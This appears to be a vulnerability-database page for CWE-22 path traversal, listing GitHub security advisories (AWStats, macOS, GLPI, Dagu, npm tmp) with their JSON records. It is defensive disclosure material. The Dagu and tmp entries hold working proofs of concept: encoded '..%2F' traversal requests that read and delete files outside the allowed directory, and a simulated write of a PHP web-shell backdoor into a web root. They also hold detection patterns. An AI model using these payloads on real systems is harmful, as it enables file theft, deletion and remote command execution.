Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13223 vulnerabilities reference this CWE, most recent first.

GHSA-PH65-4F3R-7FV8

Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2022-05-13 01:25
VLAI
Details

Awstats version 7.6 and earlier is vulnerable to a path traversal flaw in the handling of the "config" and "migrate" parameters resulting in unauthenticated remote code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-1000501"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-03T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Awstats version 7.6 and earlier is vulnerable to a path traversal flaw in the handling of the \"config\" and \"migrate\" parameters resulting in unauthenticated remote code execution.",
  "id": "GHSA-ph65-4f3r-7fv8",
  "modified": "2022-05-13T01:25:07Z",
  "published": "2022-05-13T01:25:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000501"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eldy/awstats/commit/06c0ab29c1e5059d9e0279c6b64d573d619e1651"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eldy/awstats/commit/cf219843a74c951bf5986f3a7fffa3dcf99c3899"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/01/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202007-37"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4092"
    },
    {
      "type": "WEB",
      "url": "http://www.awstats.org"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PH6X-4X3P-J2MG

Vulnerability from github – Published: 2025-11-22 00:31 – Updated: 2025-11-23 12:30
VLAI
Details

A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Ventura 13.7.3, macOS Sequoia 15.5, macOS Sonoma 14.7.3. An app may be able to access sensitive user data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-21T22:16:19Z",
    "severity": "MODERATE"
  },
  "details": "A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Ventura 13.7.3, macOS Sequoia 15.5, macOS Sonoma 14.7.3. An app may be able to access sensitive user data.",
  "id": "GHSA-ph6x-4x3p-j2mg",
  "modified": "2025-11-23T12:30:12Z",
  "published": "2025-11-22T00:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31248"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122069"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122070"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122716"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PH76-MJFR-PCMR

Vulnerability from github – Published: 2023-04-16 03:30 – Updated: 2024-04-04 03:29
VLAI
Details

The Activity plugin before 3.1.1 for GLPI allows reading local files via directory traversal in the front/cra.send.php file parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-34126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-16T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Activity plugin before 3.1.1 for GLPI allows reading local files via directory traversal in the front/cra.send.php file parameter.",
  "id": "GHSA-ph76-mjfr-pcmr",
  "modified": "2024-04-04T03:29:46Z",
  "published": "2023-04-16T03:30:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InfotelGLPI/activity/security/advisories/GHSA-jcmw-hpgh-357p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34126"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InfotelGLPI/activity/releases/tag/3.1.1"
    },
    {
      "type": "WEB",
      "url": "https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PH8X-4JFV-V9V8

Vulnerability from github – Published: 2026-03-19 19:25 – Updated: 2026-03-27 21:57
VLAI
Summary
Dagu has an incomplete fix for CVE-2026-27598: path traversal via %2F-encoded slashes in locateDAG
Details

The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory.

Vulnerable code

internal/persis/filedag/store.go, lines 508-513:

func (store *Storage) locateDAG(nameOrPath string) (string, error) {
    if strings.Contains(nameOrPath, string(filepath.Separator)) {
        foundPath, err := findDAGFile(nameOrPath)
        if err == nil {
            return foundPath, nil  // returns arbitrary resolved path
        }
    }
    // ...safe searchPaths branch follows

findDAGFile resolves the path with filepath.Abs and checks only that the file exists with a YAML extension. No containment check against baseDir.

Chi v5 routes using r.URL.RawPath when set. The pattern /dags/{fileName}/spec captures ..%2F..%2Fetc%2Ftarget.yaml as a single path segment. The oapi-codegen runtime calls url.PathUnescape, producing ../../etc/target.yaml. This decoded string reaches locateDAG with the / separator intact.

Go's net/http.ServeMux would normally redirect paths containing .., but dagu binds the chi mux directly to &http.Server{Handler: r} (server.go:833-834), so no path cleaning fires.

Affected endpoints

The three confirmed impacts via locateDAG:

Endpoint Impact
GET /dags/{fileName}/spec Arbitrary .yaml/.yml file read (os.ReadFile)
DELETE /dags/{fileName} Arbitrary .yaml/.yml file delete (os.Remove)
POST /dags/{fileName}/start Load arbitrary YAML, execute as workflow

Same pattern affects all other {fileName} endpoints: /dag-runs, /dag-runs/{id}, /rename, /start-sync, /enqueue, and webhook handlers. UpdateDAGSpec is incidentally blocked by DAG name validation during YAML parsing - not a security check, just data integrity validation that happens to reject /.

PoC

Store-level (dagu v2.0.2, Go 1.26, macOS; locateDAG unchanged through v2.3.0):

func TestLocateDAGPathTraversal(t *testing.T) {
    baseDir, _ := os.MkdirTemp("", "bd")
    defer os.RemoveAll(baseDir)
    outsideDir, _ := os.MkdirTemp("", "od")
    defer os.RemoveAll(outsideDir)

    store := filedag.New(baseDir, filedag.WithSkipExamples(true))
    ctx := context.Background()
    store.Create(ctx, "legit", []byte("name: legit\nsteps:\n  - name: s\n    command: echo ok\n"))

    target := filepath.Join(outsideDir, "secret.yaml")
    os.WriteFile(target, []byte("password: hunter2\ndb_host: prod-db.internal\n"), 0644)

    rel, _ := filepath.Rel(baseDir, target)
    spec, _ := store.GetSpec(ctx, rel)
    fmt.Println(spec)
}

Output:

baseDir:    /tmp/bd1816472583
targetFile: /tmp/od3906487343/secret.yaml
traversal:  ../od3906487343/secret.yaml

=== GetSpec (arbitrary file read) ===
SUCCESS: read file outside baseDir
Content:
password: hunter2
db_host: prod-db.internal

=== Delete (arbitrary file delete) ===
SUCCESS: deleted /tmp/od3906487343/important.yaml

HTTP-level (chi v5.2.2):

r := chi.NewRouter()
r.Get("/dags/{fileName}/spec", func(w http.ResponseWriter, r *http.Request) {
    raw := chi.URLParam(r, "fileName")
    decoded, _ := url.PathUnescape(raw)
    fmt.Fprintf(w, "raw=%s\ndecoded=%s\n", raw, decoded)
})

req := httptest.NewRequest("GET", "/dags/..%2F..%2Fetc%2Ftarget.yaml/spec", nil)
w := httptest.NewRecorder()
r.ServeHTTP(w, req)

Output:

path: /dags/..%2F..%2Fetc%2Fpasswd/spec
status: 200
raw=..%2F..%2Fetc%2Fpasswd
decoded=../../etc/passwd

Chi captures ..%2F..%2Fetc%2Fpasswd as one path segment via RawPath, oapi-codegen decodes %2F to /. Confirmed with chi v5.2.2.

Affected versions

  • v2.0.0 through v2.3.0 (current latest, checked 2026-03-18).
  • The locateDAG function with the filepath.Separator code path was introduced in commit 1557b14f (PR #1573) as part of the v2.0.0 rewrite.
  • The CVE-2026-27598 fix (e2ed589) also landed in v2.0.0 - it patched CreateNewDAG but didn't address the new locateDAG code path that was introduced in the same release.

Suggested fix

Add path containment to locateDAG rather than sprinkling ValidateDAGName across every handler. Reject names containing path separators for HTTP-facing callers. If the separator code path is needed for internal worker communication (PR #1573), split locateDAG into a validated public method (HTTP handlers) and an internal method (trusted callers only).

Impact

An authenticated user (or any user if auth.mode=none) can read or delete any .yaml/.yml file on the server filesystem that the process can access. K8s secrets stored as YAML, app configs, other DAG files.

The execute endpoints also traverse via locateDAG, loading the target YAML as a DAG definition. If the file contains valid DAG syntax with shell commands, those commands execute as the dagu process user. I haven't verified this end-to-end since it requires a target file with DAG-compatible structure, but the code path is the same locateDAG call confirmed above.

Auth is enabled by default since PR #1688 (v2.0.0), but exploitable by any authenticated user regardless of role - the DAG read/delete paths don't enforce RBAC granularity. Pre-v2.0.0 deployments or those with auth.mode=none are exploitable without credentials.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dagu-org/dagu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.4-0.20260221021317-e2ed589105d7"
            },
            {
              "fixed": "1.30.4-0.20260319093346-7d07fda8f9de"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33344"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:25:44Z",
    "nvd_published_at": "2026-03-24T20:16:28Z",
    "severity": "HIGH"
  },
  "details": "The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added `ValidateDAGName` to `CreateNewDAG` and rewrote `generateFilePath` to use `filepath.Base`. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the `{fileName}` URL path parameter to `locateDAG` without calling `ValidateDAGName`. `%2F`-encoded forward slashes in the `{fileName}` segment traverse outside the DAGs directory.\n\n### Vulnerable code\n\n`internal/persis/filedag/store.go`, lines 508-513:\n\n```go\nfunc (store *Storage) locateDAG(nameOrPath string) (string, error) {\n    if strings.Contains(nameOrPath, string(filepath.Separator)) {\n        foundPath, err := findDAGFile(nameOrPath)\n        if err == nil {\n            return foundPath, nil  // returns arbitrary resolved path\n        }\n    }\n    // ...safe searchPaths branch follows\n```\n\n`findDAGFile` resolves the path with `filepath.Abs` and checks only that the file exists with a YAML extension. No containment check against `baseDir`.\n\nChi v5 routes using `r.URL.RawPath` when set. The pattern `/dags/{fileName}/spec` captures `..%2F..%2Fetc%2Ftarget.yaml` as a single path segment. The oapi-codegen runtime calls `url.PathUnescape`, producing `../../etc/target.yaml`. This decoded string reaches `locateDAG` with the `/` separator intact.\n\nGo\u0027s `net/http.ServeMux` would normally redirect paths containing `..`, but dagu binds the chi mux directly to `\u0026http.Server{Handler: r}` (server.go:833-834), so no path cleaning fires.\n\n### Affected endpoints\n\nThe three confirmed impacts via `locateDAG`:\n\n| Endpoint | Impact |\n|----------|--------|\n| `GET /dags/{fileName}/spec` | Arbitrary `.yaml`/`.yml` file read (`os.ReadFile`) |\n| `DELETE /dags/{fileName}` | Arbitrary `.yaml`/`.yml` file delete (`os.Remove`) |\n| `POST /dags/{fileName}/start` | Load arbitrary YAML, execute as workflow |\n\nSame pattern affects all other `{fileName}` endpoints: `/dag-runs`, `/dag-runs/{id}`, `/rename`, `/start-sync`, `/enqueue`, and webhook handlers. `UpdateDAGSpec` is incidentally blocked by DAG name validation during YAML parsing - not a security check, just data integrity validation that happens to reject `/`.\n\n### PoC\n\n**Store-level** (dagu v2.0.2, Go 1.26, macOS; `locateDAG` unchanged through v2.3.0):\n\n```go\nfunc TestLocateDAGPathTraversal(t *testing.T) {\n    baseDir, _ := os.MkdirTemp(\"\", \"bd\")\n    defer os.RemoveAll(baseDir)\n    outsideDir, _ := os.MkdirTemp(\"\", \"od\")\n    defer os.RemoveAll(outsideDir)\n\n    store := filedag.New(baseDir, filedag.WithSkipExamples(true))\n    ctx := context.Background()\n    store.Create(ctx, \"legit\", []byte(\"name: legit\\nsteps:\\n  - name: s\\n    command: echo ok\\n\"))\n\n    target := filepath.Join(outsideDir, \"secret.yaml\")\n    os.WriteFile(target, []byte(\"password: hunter2\\ndb_host: prod-db.internal\\n\"), 0644)\n\n    rel, _ := filepath.Rel(baseDir, target)\n    spec, _ := store.GetSpec(ctx, rel)\n    fmt.Println(spec)\n}\n```\n\nOutput:\n\n```\nbaseDir:    /tmp/bd1816472583\ntargetFile: /tmp/od3906487343/secret.yaml\ntraversal:  ../od3906487343/secret.yaml\n\n=== GetSpec (arbitrary file read) ===\nSUCCESS: read file outside baseDir\nContent:\npassword: hunter2\ndb_host: prod-db.internal\n\n=== Delete (arbitrary file delete) ===\nSUCCESS: deleted /tmp/od3906487343/important.yaml\n```\n\n**HTTP-level** (chi v5.2.2):\n\n```go\nr := chi.NewRouter()\nr.Get(\"/dags/{fileName}/spec\", func(w http.ResponseWriter, r *http.Request) {\n    raw := chi.URLParam(r, \"fileName\")\n    decoded, _ := url.PathUnescape(raw)\n    fmt.Fprintf(w, \"raw=%s\\ndecoded=%s\\n\", raw, decoded)\n})\n\nreq := httptest.NewRequest(\"GET\", \"/dags/..%2F..%2Fetc%2Ftarget.yaml/spec\", nil)\nw := httptest.NewRecorder()\nr.ServeHTTP(w, req)\n```\n\nOutput:\n\n```\npath: /dags/..%2F..%2Fetc%2Fpasswd/spec\nstatus: 200\nraw=..%2F..%2Fetc%2Fpasswd\ndecoded=../../etc/passwd\n```\n\nChi captures `..%2F..%2Fetc%2Fpasswd` as one path segment via `RawPath`, oapi-codegen decodes `%2F` to `/`. Confirmed with chi v5.2.2.\n\n### Affected versions\n\n- v2.0.0 through v2.3.0 (current latest, checked 2026-03-18).\n- The `locateDAG` function with the `filepath.Separator` code path was introduced in commit 1557b14f (PR #1573) as part of the v2.0.0 rewrite.\n- The CVE-2026-27598 fix (e2ed589) also landed in v2.0.0 - it patched `CreateNewDAG` but didn\u0027t address the new `locateDAG` code path that was introduced in the same release.\n\n### Suggested fix\n\nAdd path containment to `locateDAG` rather than sprinkling `ValidateDAGName` across every handler. Reject names containing path separators for HTTP-facing callers. If the separator code path is needed for internal worker communication (PR #1573), split `locateDAG` into a validated public method (HTTP handlers) and an internal method (trusted callers only).\n\n### Impact\n\nAn authenticated user (or any user if `auth.mode=none`) can read or delete any `.yaml`/`.yml` file on the server filesystem that the process can access. K8s secrets stored as YAML, app configs, other DAG files.\n\nThe execute endpoints also traverse via `locateDAG`, loading the target YAML as a DAG definition. If the file contains valid DAG syntax with shell commands, those commands execute as the dagu process user. I haven\u0027t verified this end-to-end since it requires a target file with DAG-compatible structure, but the code path is the same `locateDAG` call confirmed above.\n\nAuth is enabled by default since PR #1688 (v2.0.0), but exploitable by any authenticated user regardless of role - the DAG read/delete paths don\u0027t enforce RBAC granularity. Pre-v2.0.0 deployments or those with `auth.mode=none` are exploitable without credentials.",
  "id": "GHSA-ph8x-4jfv-v9v8",
  "modified": "2026-03-27T21:57:52Z",
  "published": "2026-03-19T19:25:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-ph8x-4jfv-v9v8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33344"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/commit/7d07fda8f9de3ae73dfb081ccd0639f8059c56bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dagu-org/dagu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dagu has an incomplete fix for CVE-2026-27598: path traversal via %2F-encoded slashes in locateDAG"
}

GHSA-PH9P-34F9-6G65

Vulnerability from github – Published: 2026-05-27 00:34 – Updated: 2026-06-12 19:25
VLAI
Summary
tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape
Details

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow: 1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix> 2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name) 3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape 4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir

Path Traversal Mechanics: - prefix/postfix traversal: ../../../evil in prefix escapes directory structure - Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely - Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text - Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points: - No input validation on prefix, postfix, or dir parameters - Direct use of user input in path construction - Reliance on path.join() normalization without containment checks - Missing post-construction validation that final path remains within intended directory

PoC

Basic Path Traversal via prefix:

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);

// Escape via prefix
tmp.file({ 
  tmpdir: baseDir, 
  prefix: '../escaped' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;

  console.log('Created file:', filepath);
  console.log('Relative to base:', path.relative(baseDir, filepath));
  // Output shows: ../escaped-<pid>-<random>

  cleanup();
});

Directory Escape via postfix:

tmp.file({ 
  tmpdir: baseDir, 
  postfix: '/../../pwned.txt' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;

  console.log('Escaped file:', filepath);
  console.log('Escaped outside base:', !filepath.startsWith(baseDir));

  cleanup();
});

Absolute Path Bypass via dir:

tmp.file({ 
  tmpdir: '/safe/tmp/dir', 
  dir: '/tmp/evil-location',
  prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;

  console.log('Bypassed to:', filepath);
  // File created in /tmp/evil-location instead of /safe/tmp/dir

  cleanup();
});

Advanced Multi-Vector Attack:

const maliciousOpts = {
  tmpdir: '/app/safe-tmp',
  dir: '../../../tmp',           // Escape base
  prefix: '../sensitive-area/',   // Further traversal
  postfix: 'malicious.config'     // Controlled filename
};

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
  // Results in file creation at: /tmp/sensitive-area/malicious.config
  console.log('Final malicious path:', filepath);
  cleanup();
});

Real-World Attack Simulation:

// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
  return new Promise((resolve, reject) => {
    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
      if (err) return reject(err);

      fs.writeSync(fd, content);
      console.log('User file created at:', path);
      resolve({ path, cleanup });
    });
  });
}

// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory

Impact

Arbitrary File Creation: - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning: - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart

2. Cache Poisoning: - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise: - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production

4. Container Escape Attempt: - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass: - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation

Business Impact: - Data Integrity: Unauthorized file placement can corrupt application state - Service Disruption: Files in wrong locations may break application functionality
- Security Bypass: Escape temporary isolation boundaries - Compliance Violations: Files containing sensitive data placed in uncontrolled locations

Affected Products

  • Ecosystem: npm
  • Package name: tmp
  • Repository: github.com/raszi/node-tmp
  • Affected versions: All versions with vulnerable path construction logic
  • Patched versions: None currently available

Component Impact: - tmp.file() function - vulnerable to prefix/postfix/dir traversal - tmp.dir() function - vulnerable to same parameter manipulation
- tmp.tmpName() function - if using affected path construction

Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Remediation

Input Validation and Sanitization:

  1. Sanitize prefix/postfix:
function sanitizePrefix(prefix) {
  if (!prefix) return '';
  // Remove path separators and traversal sequences
  return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}

function sanitizePostfix(postfix) {
  if (!postfix) return '';
  // Allow only safe characters
  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
  1. Validate dir parameter:
function validateDir(dir, baseDir) {
  if (!dir) return '';

  // Reject absolute paths
  if (path.isAbsolute(dir)) {
    throw new Error('Absolute paths not allowed for dir option');
  }

  // Resolve and check containment
  const resolved = path.resolve(baseDir, dir);
  const relative = path.relative(baseDir, resolved);

  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Dir option escapes base directory');
  }

  return dir;
}
  1. Post-construction path validation:
function validateFinalPath(finalPath, baseDir) {
  const resolved = path.resolve(finalPath);
  const relative = path.relative(path.resolve(baseDir), resolved);

  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Generated path escapes temporary directory');
  }

  return resolved;
}

Secure Implementation Pattern:

function createTempFile(options) {
  const opts = { ...options };

  // Sanitize inputs
  opts.prefix = sanitizePrefix(opts.prefix);
  opts.postfix = sanitizePostfix(opts.postfix);
  opts.dir = validateDir(opts.dir, opts.tmpdir);

  // Create with sanitized options
  return tmp.file(opts, (err, path, fd, cleanup) => {
    if (err) return callback(err);

    // Validate final path
    try {
      validateFinalPath(path, opts.tmpdir);
    } catch (validationErr) {
      cleanup();
      return callback(validationErr);
    }

    callback(null, path, fd, cleanup);
  });
}

Workarounds

For Application Developers:

  1. Input Sanitization:
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
  const safeOpts = {
    ...userOptions,
    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
    dir: undefined // Don't allow user-controlled dir
  };

  return tmp.file(safeOpts);
}
  1. Path Validation:
function validateTmpPath(tmpPath, expectedBase) {
  const relativePath = path.relative(expectedBase, tmpPath);
  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
    throw new Error('Temporary file path escaped base directory');
  }
  return tmpPath;
}
  1. Restricted Usage:
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

  1. Code Review Patterns:
# Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
  1. Runtime Monitoring:
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
  return originalFile(options, (err, path, fd, cleanup) => {
    if (!err && options.tmpdir) {
      const relative = require('path').relative(options.tmpdir, path);
      if (relative.startsWith('..')) {
        console.warn('Path traversal detected:', path);
      }
    }
    return callback(err, path, fd, cleanup);
  });
};

Detection and Monitoring

Static Analysis: - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories

Runtime Detection:

// Log suspicious tmp operations
function monitorTmpUsage() {
  const originalTmpFile = require('tmp').file;

  require('tmp').file = function(options = {}, callback) {
    // Check for suspicious patterns
    const suspicious = [
      options.prefix && options.prefix.includes('..'),
      options.postfix && options.postfix.includes('..'),  
      options.dir && path.isAbsolute(options.dir)
    ].some(Boolean);

    if (suspicious) {
      console.warn('Suspicious tmp usage detected:', options);
    }

    return originalTmpFile.call(this, options, callback);
  };
}

File System Monitoring:

# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
  if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
    echo "Unexpected file creation: $file"
  fi
done

Acknowledgements

Reported by: Mapta / BugBunny_ai

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tmp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T00:34:06Z",
    "nvd_published_at": "2026-06-11T17:16:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp\u0027s file/directory creation functions without proper input sanitization.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in tmp\u0027s path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.\n\n**Technical Flow:**\n1. **Filename Construction:** tmp builds filenames as `\u003cprefix\u003e-\u003cpid\u003e-\u003crandom\u003e-\u003cpostfix\u003e`\n2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)`\n3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape\n4. **File Creation:** File created at the resulting (potentially escaped) path\n\n**Vulnerable Pattern:**\n```javascript\n// In tmp package internals\nconst name = `${opts.prefix || \u0027\u0027}-${process.pid}-${randomString}-${opts.postfix || \u0027\u0027}`;\nconst finalPath = path.join(tmpDir, opts.dir || \u0027\u0027, name);\n// No validation that finalPath remains within tmpDir\n```\n\n**Path Traversal Mechanics:**\n- **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure\n- **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely\n- **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text\n- **Cross-platform impact:** Works on Windows (`..\\\\`), Unix (`../`), and mixed path systems\n\n**Key Vulnerability Points:**\n- No input validation on `prefix`, `postfix`, or `dir` parameters\n- Direct use of user input in path construction\n- Reliance on `path.join()` normalization without containment checks\n- Missing post-construction validation that final path remains within intended directory\n\n### PoC\n\n**Basic Path Traversal via prefix:**\n```javascript\nconst tmp = require(\u0027tmp\u0027);\nconst path = require(\u0027path\u0027);\nconst fs = require(\u0027fs\u0027);\n\n// Create a controlled base directory\nconst baseDir = fs.mkdtempSync(\u0027/tmp/safe-base-\u0027);\nconsole.log(\u0027Base directory:\u0027, baseDir);\n\n// Escape via prefix\ntmp.file({ \n  tmpdir: baseDir, \n  prefix: \u0027../escaped\u0027 \n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log(\u0027Created file:\u0027, filepath);\n  console.log(\u0027Relative to base:\u0027, path.relative(baseDir, filepath));\n  // Output shows: ../escaped-\u003cpid\u003e-\u003crandom\u003e\n  \n  cleanup();\n});\n```\n\n**Directory Escape via postfix:**\n```javascript\ntmp.file({ \n  tmpdir: baseDir, \n  postfix: \u0027/../../pwned.txt\u0027 \n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log(\u0027Escaped file:\u0027, filepath);\n  console.log(\u0027Escaped outside base:\u0027, !filepath.startsWith(baseDir));\n  \n  cleanup();\n});\n```\n\n**Absolute Path Bypass via dir:**\n```javascript\ntmp.file({ \n  tmpdir: \u0027/safe/tmp/dir\u0027, \n  dir: \u0027/tmp/evil-location\u0027,\n  prefix: \u0027bypassed\u0027\n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log(\u0027Bypassed to:\u0027, filepath);\n  // File created in /tmp/evil-location instead of 